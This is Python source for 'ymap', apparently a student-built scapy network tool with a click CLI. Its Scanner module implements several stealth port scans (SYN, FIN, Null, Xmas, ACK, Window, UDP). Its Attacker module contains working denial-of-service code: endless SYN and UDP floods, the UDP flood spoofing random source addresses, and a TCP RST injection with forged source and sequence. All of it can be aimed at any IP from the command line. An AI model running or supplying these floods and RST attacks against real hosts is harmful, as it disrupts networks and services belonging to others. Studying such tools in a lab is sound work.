|  |
| --- |
| import click  from Scanner import \*  from Attacker import \*  from prettytable import PrettyTable  SCAN\_METHOD = {'tcp': TCPConnScan, 'syn': TCPSynScan, 'xmas': TCPXmasScan, 'fin': TCPFinScan,  'null': TCPNullScan, 'ack': TCPAckScan, 'win': TCPWindowScan, 'udp': UDPScan}  ATTACK\_METHOD = {'synflood': SYNFlood, 'traceroute': TraceRoute, 'rstattack': RSTAttack,  'udpflood': UDPFlood}  *@click*.command()  *@click*.option('--scan/--no-scan', '-S', default=False, help='Scanner')  *@click*.option('--attack/--no-attack', '-A', default=False, help='Attacker')  *@click*.option('--methods/--no-methods', '-M', default=False, help='Show Methods table.')  *@click*.option('--threading/--no-threading', '-t', default=True, help='Use Threads Pool.')  *@click*.option('--ip', '-i', default='172.16.0.90', type=str, help='Destination IP of the port scanner or attack program.')  *@click*.option('--sport', '-s', default=8880, type=int, help='The starting port of the port scanner.')  *@click*.option('--eport', '-e', default=8890, type=int, help='The ending port of the port scanner.')  *@click*.option('--timeout', '-t', default=2, type=int, help='Set the timeout.')  *@click*.option('--method', '-m', type=str, help=f'Port scanning or network attack methods. Scanner methods {tuple(SCAN\_METHOD.keys())}; Attacker methods {tuple(ATTACK\_METHOD.keys())}.')  *@click*.option('--port', '-p', default=8080, type=int, help='Attack aim port.')  *@click*.option('--sourceport', '-sp', default=8080, type=int, help='Attack source port.')  *@click*.option('--sourceip', '-si', default='172.16.0.90', type=str, help='Source IP of the port scanner or attack program.')  *@click*.option('--sequence', '-seq', default=4065682361, type=int, help='Attack pakage sequence.')  def ymap(scan, attack, methods, threading, ip, sport, eport, method, timeout, port, sourceport, sourceip, sequence):  if (scan and attack):  click.secho(  'ERROR: Please Choose One Mode!(-S for Scan, -A for Attack)!', fg='red', bold=True)  return  elif scan:  if method not in SCAN\_METHOD.keys():  click.secho(  f'ERROR: Please enter a legal scan method! {tuple(SCAN\_METHOD.keys())}!', fg='red', bold=True)  return  else:  scan\_method = SCAN\_METHOD[method](target=ip, timeout=timeout)  scan\_method.scan(range(sport, eport + 1), threading)  elif attack:  if method not in ATTACK\_METHOD.keys():  click.secho(  f'ERROR: Please enter a legal scan method {tuple(ATTACK\_METHOD.keys())}!', fg='red', bold=True)  return  else:  att\_method = ATTACK\_METHOD[method](target=ip, port=port)  if isinstance(att\_method, RSTAttack):  att\_method.attack(source\_ip=sourceip,  source\_port=sourceport, sequence=sequence)  else:  att\_method.attack()  else:  if methods:  methods\_table = PrettyTable(['Class', 'Method', 'CLI'])  for key, value in SCAN\_METHOD.items():  methods\_table.add\_row(['Scanner', value.\_\_scanner\_\_, key])  for key, value in ATTACK\_METHOD.items():  methods\_table.add\_row(['Attacker', value.\_\_attacker\_\_, key])  print(methods\_table)  else:  click.secho(  'ERROR: Please Choose One Mode!(-S for Scan, -A for Attack, -M for showing all methods)!', fg='red', bold=True)  return    if \_\_name\_\_ == '\_\_main\_\_':  ymap() |

|  |
| --- |
| import logging  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  from scapy.all import \*  from prettytable import PrettyTable  # from multiprocessing.dummy import Pool as ThreadPool  from multiprocessing.pool import ThreadPool  #############################################################################  # ICMP Codes (Type 3) Used to determine filtering: #  # 1 Host Unreachable #  # 2 Protocol Unreachable #  # 3 Port Unreachable #  # 9 Communication with Destination Network is Administratively Prohibited #  # 10 Communication with Destination Host is Administratively Prohibited #  # 13 Communication Administratively Prohibited #  #############################################################################  \_\_all\_\_ = ["TCPConnScan", "TCPSynScan", "TCPXmasScan", "TCPFinScan",  "TCPNullScan", "TCPAckScan", "TCPWindowScan", "UDPScan"]  def print\_banner():  bannerTxt = """  \_\_ \_\_ \_\_ \_\_ \_\_\_ \_\_\_  \ \ / /| \/ | / \ | \_ \  \ V / | |\/| | | - | | \_/  |\_| | | | | | | | | |  "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'  Contact : yuyeyong [at] shu [dot] edu [dot] cn  Github : https://github.com/yuyouyu32/Port-Scanner  """  print(bannerTxt)  class \_PortScanner:  """  Base PortScanner object to inherit from.  """  \_\_scanner\_\_ = "Base Scanner"  def \_\_init\_\_(self, target, timeout=2):  self.\_target = target  self.\_timeout = timeout  self.\_results = {}  self.table = PrettyTable(['IP', 'Port', 'State'])  def set\_target(self, new\_target):  self.\_target = new\_target  def scan(self, ports, threads=True):  print("%s results for %s" % (self.\_\_scanner\_\_, self.\_target))  print("PORT\tSTATE")  if threads:  pool = ThreadPool(16)  pool.map(self.\_scan\_port, ports)  pool.close()  pool.join()  else:  for port in list(ports):  self.\_scan\_port(port)  self.\_report()  def \_scan\_port(self, port):  raise NotImplementedError()  def \_report(self):  scanned = len(self.\_results)  open\_ports = 0  for value in self.\_results.values():  if type(value) is str and value == "Open":  open\_ports += 1  print\_banner()  print(self.table)  print("Scanned %d ports, of which %d were opened." %  (scanned, open\_ports))  def \_record\_port\_state(self, Port, State):  print("%s\t%s" % (Port, State))  self.\_results[Port] = State  self.table.add\_row([self.\_target, Port, State])  class TCPConnScan(\_PortScanner):  \_\_scanner\_\_ = "TCP Connect Scan"  def \_scan\_port(self, port):  '''  ###[ IP ]###  version = 4  ihl = 5  tos = 0x0  len = 44  id = 0  flags = DF  frag = 0  ttl = 63  proto = tcp  chksum = 0x8534  src = 172.16.0.90  dst = 10.8.0.38  \options \  ###[ TCP ]###  sport = 8881  dport = 36798  seq = 46541985  ack = 1  dataofs = 6  reserved = 0  flags = SA  window = 64240  chksum = 0x51c  urgptr = 0  options = [('MSS', 1358)]  '''  src\_port = RandShort()  # Sends a SYN  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="S"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Closed')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x12: # 18 = SA = 0x12  send\_rst = sr(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="AR"), timeout=self.\_timeout, verbose=False)  self.\_record\_port\_state(port, 'Open')  elif resp.getlayer(TCP).flags == 0x14: # 20 = RA = 0x14  self.\_record\_port\_state(port, 'Closed')  class TCPSynScan(\_PortScanner):  \_\_scanner\_\_ = "TCP SYN Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="S"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Unanswered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x12: # 18 = SA = 0x12  self.\_record\_port\_state(port, 'Open')  elif resp.getlayer(TCP).flags == 0x14: # 20 = RA = 0x14  self.\_record\_port\_state(port, 'Closed')  else:  self.\_record\_port\_state(port, 'TCP packet resp / filtered')  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'ICMP resp / filtered')  else:  self.\_record\_port\_state(port, 'Unknown resp')  print(resp.summary())  class TCPNullScan(\_PortScanner):  \_\_scanner\_\_ = "TCP Null Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags=""), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Open|Filtered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x14: # 20 = RA = 0x14  self.\_record\_port\_state(port, 'Closed')  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'Filtered')  class TCPFinScan(\_PortScanner):  \_\_scanner\_\_ = "TCP FIN Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="F"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Open|Filtered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x14: # 20 = RA = 0x14  self.\_record\_port\_state(port, 'Closed')  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'Filtered')  class TCPXmasScan(\_PortScanner):  \_\_scanner\_\_ = "TCP Xmas Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="FPU"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Open|Filtered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x14: # 20 = RA = 0x14  self.\_record\_port\_state(port, 'Closed')  else:  self.\_record\_port\_state(port, resp[TCP].flags)  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'Filtered')  else:  self.\_record\_port\_state(port, 'Unknown resp')  print(resp.summary())  class TCPAckScan(\_PortScanner):  \_\_scanner\_\_ = "TCP ACK Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="A"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Filtered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).flags == 0x4: # 4 = R = 0x4  # TTL < 64 -> Open; TTL > 64 -> Closed; TTL ==64 Unknow.  if int(resp.getlayer(IP).ttl) < 64:  self.\_record\_port\_state(port, 'Open')  elif int(resp.getlayer(IP).ttl) > 64:  self.\_record\_port\_state(port, 'Closed')  else:  self.\_record\_port\_state(port, 'Unfiltered')  else:  self.\_record\_port\_state(port, resp[TCP].flags)  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'Filtered')  else:  self.\_record\_port\_state(port, 'Unknown resp')  print(resp.summary())  class TCPWindowScan(\_PortScanner):  \_\_scanner\_\_ = "TCP Window Scan"  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/TCP(sport=src\_port, dport=port,  flags="A"), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, 'Unanswered')  elif resp.haslayer(TCP):  if resp.getlayer(TCP).window == 0:  self.\_record\_port\_state(port, 'Closed')  elif resp.getlayer(TCP).window > 0:  self.\_record\_port\_state(port, 'Open')  else:  self.\_record\_port\_state(port, resp[TCP].flags)  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3 and \  int(resp.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]: # Destination Host Unreachable  self.\_record\_port\_state(port, 'Filtered')  else:  self.\_record\_port\_state(port, 'Unknown resp')  print(resp.summary())  class UDPScan(\_PortScanner):  \_\_scanner\_\_ = "UDP Scan"  '''  ###[ IP ]###  version = 4  ihl = 5  tos = 0xc0  len = 56  id = 44972  flags =  frag = 0  ttl = 63  proto = icmp  chksum = 0x14c1  src = 172.16.0.90  dst = 10.8.0.38  \options \  ###[ ICMP ]###  type = dest-unreach  code = port-unreachable  chksum = 0xb3ae  reserved = 0  length = 0  nexthopmtu= 0  unused = ''  ###[ IP in ICMP ]###  version = 4  ihl = 5  tos = 0x0  len = 28  id = 1  flags =  frag = 0  ttl = 63  proto = udp  chksum = 0xc538  src = 10.8.0.38  dst = 172.16.0.90  \options \  ###[ UDP in ICMP ]###  sport = 8885  dport = 8885  len = 8  chksum = 0x3dc  '''  def \_scan\_port(self, port):  src\_port = RandShort()  resp = sr1(IP(dst=self.\_target)/UDP(sport=src\_port,  dport=port), timeout=self.\_timeout, verbose=False)  if resp is None:  self.\_record\_port\_state(port, "Open|Filtered")  elif resp.haslayer(UDP):  self.\_record\_port\_state(port, 'Open')  elif resp.haslayer(ICMP):  if int(resp.getlayer(ICMP).type) == 3:  # Destination Host Unreachable  if int(resp.getlayer(ICMP).code) in [1, 2, 9, 10, 13]:  self.\_record\_port\_state(port, 'Filtered')  elif int(resp.getlayer(ICMP).code) == 3:  # ICMP.code = port-unreachable  self.\_record\_port\_state(port, 'Closed')  else:  self.\_record\_port\_state(port, 'Unknown resp')  print(resp.summary()) |

|  |
| --- |
| import logging  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  from scapy.all import \*  from ipaddress import IPv4Address  from random import getrandbits  from Scanner import print\_banner  \_\_all\_\_ = ["SYNFlood", "TraceRoute", "RSTAttack", "UDPFlood"]  class \_Attacker:  """  Base Attacker object to inherit from.  """  \_\_attacker\_\_ = "Base Attacker"  def \_\_init\_\_(self, target, port):  print\_banner()  self.\_target = target  self.\_port = port  def set\_target(self, new\_target, new\_port):  self.\_target = new\_target  self.\_port = new\_port  def attack(self):  raise NotImplementedError()  class SYNFlood(\_Attacker):  """\_summary\_  Args:  \_Attacker (\_type\_): SYN Flooding Attacker.  """  \_\_attacker\_\_ = "SYN Flooding Attacker"  def attack(self):  print("%s for %s:%s" % (self.\_\_attacker\_\_, self.\_target, self.\_port))  ip = IP(dst=self.\_target)  tcp = TCP(dport=self.\_port, flags='S')  pkt = ip/tcp  while True:  # pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP  pkt[TCP].sport = getrandbits(16) # source port  pkt[TCP].seq = getrandbits(32) # sequence number  print('send: ', pkt.summary())  resp = sr1(pkt, verbose=0)  print('recv: ', resp.summary())  class UDPFlood(\_Attacker):  """\_summary\_  Args:  \_Attacker (\_type\_): UDP Flooding Attacker.  """  \_\_attacker\_\_ = "UDP Flooding Attacker"  def attack(self):  print("%s for %s:%s" % (self.\_\_attacker\_\_, self.\_target, self.\_port))  ip = IP(dst=self.\_target)  udp = UDP(dport=self.\_port)  payload = 'UDP Flooding' \* 100  pkt = ip/udp/payload  while True:  pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP  pkt[UDP].sport = getrandbits(16) # source port  print('send: ', pkt.summary())  send(pkt, verbose=0)  class TraceRoute(\_Attacker):  """\_summary\_  Args:  \_Attacker (\_type\_): Trace Route Attacker  """  \_\_attacker\_\_ = "Trace Route Attacker"  def attack(self):  print("%s for %s:%s" % (self.\_\_attacker\_\_, self.\_target, self.\_port))  pkts = IP(dst=self.\_target, ttl=(1, 16)) / TCP(dport=self.\_port)  for pkt in pkts:  resp = sr1(pkt, timeout=1)  if resp is None:  print('.')  continue  print('-'\*100)  print(resp.summary())  print('-'\*100)  # 18 = SA = 0x12  if resp.haslayer(TCP) and resp[TCP].flags == 0x12:  break  class RSTAttack(\_Attacker):  """\_summary\_  Args:  \_Attacker (\_type\_): TCP RST Attack  """  \_\_attacker\_\_ = "TCP RST Attack"  def attack(self, source\_ip, source\_port, sequence):  print("%s for %s:%s" % (self.\_\_attacker\_\_, self.\_target, self.\_port))  ip = IP(src=source\_ip, dst=self.\_target)  tcp = TCP(sport=source\_port, dport=self.\_port, flags="R", seq=sequence)  pkt = ip/tcp  print(pkt.summary())  send(pkt, verbose=0) |